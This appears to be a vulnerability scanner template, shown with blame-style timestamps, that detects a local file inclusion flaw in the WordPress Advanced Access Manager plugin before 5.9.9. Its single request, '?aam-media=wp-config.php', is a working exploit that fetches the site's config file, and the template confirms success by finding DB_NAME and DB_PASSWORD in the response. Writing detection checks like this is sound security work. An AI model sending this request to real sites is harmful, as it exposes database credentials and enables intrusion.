2021-10-11 11:22:28 +00:00
id : advanced-access-manager-lfi
info :
2022-08-10 08:49:57 +00:00
name : WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion
2021-10-11 11:22:28 +00:00
author : 0x_Akoko
severity : high
2022-08-10 08:49:57 +00:00
description : |
WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.
2021-10-11 11:22:28 +00:00
reference :
- https://wpscan.com/vulnerability/9873
- https://id.wordpress.org/plugins/advanced-access-manager/
2022-08-06 16:54:58 +00:00
- https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b
2022-08-05 13:57:51 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2022-08-10 08:49:57 +00:00
tags : wordpress,wp-plugin,lfi,wp,accessmanager
2021-10-11 11:22:28 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/?aam-media=wp-config.php'
matchers-condition : and
matchers :
- type : word
2022-08-10 08:49:57 +00:00
part : body
2021-10-11 11:22:28 +00:00
words :
- "DB_NAME"
- "DB_PASSWORD"
condition : and
- type : status
status :
- 200
2022-08-05 13:57:51 +00:00
# Enhanced by mp on 2022/08/01
